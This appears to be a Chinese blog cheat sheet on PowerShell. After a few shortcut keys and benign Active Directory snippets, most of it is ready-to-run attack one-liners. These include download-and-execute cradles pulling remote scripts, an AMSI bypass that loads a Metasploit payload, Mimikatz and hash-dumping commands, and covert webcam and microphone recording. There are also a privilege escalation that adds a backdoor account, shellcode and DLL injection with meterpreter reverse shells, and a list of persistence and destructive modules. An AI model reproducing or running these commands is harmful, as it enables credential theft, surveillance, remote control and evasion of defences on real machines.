powershell无所不能
0x01 初步认知
PowerShell
是Windows的自动化平台和脚本语言,可让您简化系统管理。与其他基于文本的shell不同,他利用了Microsoft .NET
Framework的强大功能,提供丰富的对象和大量内置函数来控制
PowerShell最初在2010年被提及为攻击平台,当它在Def Con 18中被提出作为概念证明。在PowerShell中纯粹编程的绑定和反向shell都在相同的上下文中被证明。
属性强化 +11
轻松访问网络连接
安装恶意的二进制文件到内存
直接访问Win32应用程序编程接口(API)
有着WMI类似的简单界面
强大的脚本环境
动态链接库直接调用
轻松访问加密库,例如IPSec,散列算法
挂钩托管代码的能力
组件对象模型COM的绑定
还有如Nishang,PowerSploit和PowerShell Empire平台等众多攻击工具,提供基于密码通信的后开发代理。这些工具可用于侦察,持续和横向攻击等技术。当然,在现在windows默认都安装的情况下,直接可以通过编程,提供定制的工具和技术,以保持隐身,并且不被普通的安全控制和防护软件所侦测
Powershell 快捷键
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
ALT+F7 清除命令的历史记录
PgUp PgDn 显示当前会话的第一个命令和最后一个命令
Enter 执行当前命令
End 将光标移至当前命令的末尾
Del 从右开始删除输入的命令字符
Esc 清空当前命令行
F2 自动补充历史命令至指定字符
(例如历史记录中存在Get-Process,按F2,提示"Enter char to copy up to",键入‘s’,自动补齐命令:Get-Proce)
F4 删除命令行至光标右边指定字符处
F7 对话框显示命令行历史记录
F8 检索包含指定字符的命令行历史记录
F9 根据命令行的历史记录编号选择命令,历史记录编号可以通过F7查看
左/右方向键 左右移动光标
上/下方向键 切换命令行的历史记录
Home 光标移至命令行最左端
Backspace 从右删除命令行字符
Ctrl+C 取消正在执行的命令
Ctrl+左/右方向键 在单词之间移动光标
Ctrl+Home 删除光标最左端的所有字符
Tab 自动补齐命令或者文件名 |
给AD添加自定义属性
如果你需要给AD对象添加自定义的属性,你可以使用一个哈希表设定属性的名字和值,这时候就可以使用微软RSAT工具包中的Set-ADUser命令来添加它。-add
是给属性添加一个新的属性,-Remove
是删除一个已存在属性值, –Replace
则可以替换一个属性的值。
1
2
3
4
5
6
7
8
9
10
11
|
#requires -Version 1 -Modules ActiveDirectory
# create an empty hash table
$custom = @{}
# add the attribute names and values
$custom.ExtensionAttribute3 = 12
$custom.ExtensionAttribute4 = 'Hello'
# assign the attributes to your current user object
$user = $env:USERNAME
Set-ADUser -Identity $user -Add $custom
|
克隆AD权限
当你要创建一个委托对象(如管管理成员或组织单元),你实际上是在调整它的安全属性。
安全属性可能非常复杂,但克隆一个则非常简单,所以你可以选择克隆一个AD对象的安全权限。
下面教各位如何将一个OU对象的安全描述克隆给另外一个,开始前你需要添加AD模块:
1
2
3
4
5
6
7
8
|
#requires -Version 2 -Modules ActiveDirectory
Import-Module -Name ActiveDirectory
# read AD security from NewOU1
$sd = Get-Acl -Path 'AD:\OU=NewOU1,DC=powershell,DC=local'
# assign security to NewOU2
Set-Acl -Path 'AD:\OU=NewOU2,DC=powershell,DC=local' -AclObject $sd
|
获取域下面的操作系统列表
脚本会从AD中获取所有的机器账户,并通过操作系统名称对它们进行分组,然后生成一个列表。请最好使用分页,如果你的组织规模比较大,检索所有的机器可能会很耗时。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
#<span class="tc-dropcap">r</span>equires -Version 1 -Modules ActiveDirectory
$max = 100
$os = Get-ADComputer -Filter * -Properties OperatingSystem -ResultPageSize $max |
Group-Object -Property OperatingSystem -NoElement |
Select-object -ExpandProperty Name |
ForEach-Object { '"{0}"' -f $_ }
$list = $os -join ','
$list
# 将列表复制到剪切板
$list | clip
|
Powershell被禁用
默认情况下的Server OS 对应的 Powershell的版本:
Windows 2008 R2 - Version 2
Windows 2012 - Version 3
Windows 2012 R2 - Version 4
Windows 2016 - Version 5
1
|
set-executionpolicy remotesigned #需要在管理员的状态下执行
|
.Net执行
p0wnedShell
1
2
3
|
cd \Windows\Microsoft.NET\Framework64\v4.0.30319
csc.exe /unsafe /reference:"C:\p0wnedShell\System.Management.Automation.dll" /reference:System.IO.Compression.dll /win32icon:C:\p0wnedShell\p0wnedShell.ico /out:C:\p0wnedShell\p0wnedShellx64.exe /platform:x64 "C:\p0wnedShell\*.cs"
|
PowerOPS
1
2
|
C:\> cd \Windows\Microsoft.NET\Framework\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\> InstallUtil.exe /logfile= /LogToConsole=false /U C:\path\to\PowerOPS.exe
|
powershell能做什么?
Command
1
|
powershell -nop -exec bypass -c IEX ( New-Objectet.WebClient).DownloadString('http://ip:port/')
|
1
2
|
Get-Content payload.ps1 | iex
cmd.exe /K < payload.bat
|
link
1
|
powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA==
|
获取无线密码
1
|
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Get-WLAN-Keys.ps1');Get-Wlan-Keys "
|
提权加账号
1
|
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user evi1cg test123 /add'"
|
下载执行
1
|
powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://b.hiphotos.baidu.com/image/pic/item/d009b3de9c82d15825ffd75c840a19d8bd3e42da.jpg','C:\\Users\Public\\test.jpg') & start C:\\Users\\Public\\test.jpg
|
摄像头录像
1
|
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/xorrior/RandomPS-Scripts/master/MiniEye.ps1'); Capture-MiniEye -RecordTime 2 -Path $env:temp\hack.avi"
|
录音
1
|
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Exfiltration/Get-MicrophoneAudio.ps1');Get-MicrophoneAudio -Path $env:TEMP\secret.wav -Length 10 -Alias 'SECRET'"
|
use
1
|
powershell.exe -ExecutionPolicy Bypass -noprofile [Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiInitFailed'',''NonPublic,Static'').SetValue($null,$true);iex(New-Object Net.WebClient).DownloadString(''http://192.168.230.1/msfpayload.ps1'')
|
下载
1
2
|
$p = New-Object System.Net.WebClient
$p.DownloadFile("http://domain/file","C:%homepath%file")
|
Mimikatz
1
|
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
|
1
|
Invoke-PsUACme -Payload "powershell -noexit IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"
|
Gethash
在线导hash
1
|
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
|
在线导明文
1
|
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
|
进程注入
1
2
3
4
5
6
|
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
Get-Process 查看当前进程,记住你刚刚创建的隐藏进程ID
Invoke-Shellcode -ProcessID 2384 -Shellcode ($buf) Invoke-Shellcode脚本注入
Powersploit
Invoke-Shellcode -ProcessID 2384 -Payload windows/meterpreter/reverse_https -Lhost 192.168.100.129 -Lport 4444
|
DLL注入
Invoke-DLLInjection 是DLL注入脚本
首先下载安装DLL注入脚本到目标机器
1
|
IEX (New-Object Net.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Invoke-DllInjection.ps1")
|
在MSF生成DLL脚本,下载DLL使用Invoke-DLLInjection脚本实现DLL注入
1
|
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f dll -o /var/www/html/msf.dll |
开启一个隐藏进程来进行DLL注入
1
2
|
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
Invoke-DllInjection -ProcessID 4080 -Dll .\msf.dll
|
高级组合技打造“完美” 捆绑后门
0x02 将PowerShell脚本快速转换为bat文件
1
2
3
4
5
6
7
8
|
* 下载链接:https://github.com/artkond/bat-armor
* CodeExecution 在目标主机执行代码
* ScriptModification 在目标主机上创建或修改脚本
* Persistence 后门脚本(持久性控制)
* AntivirusBypass 发现杀软查杀特征
* Exfiltration 目标主机上的信息搜集工具
* Mayhem 蓝屏等破坏性脚本
* Recon 以目标主机为跳板进行内网信息侦查 |
https://3gstudent.github.io/3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence/
https://rastamouse.me/2017/06/psexec-much/
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
https://github.com/samratashok/nishang
http://bobao.360.cn/learning/detail/3200.html
http://wooyun.jozxing.cc/static/drops/papers-16818.html
http://www.labofapenetrationtester.com/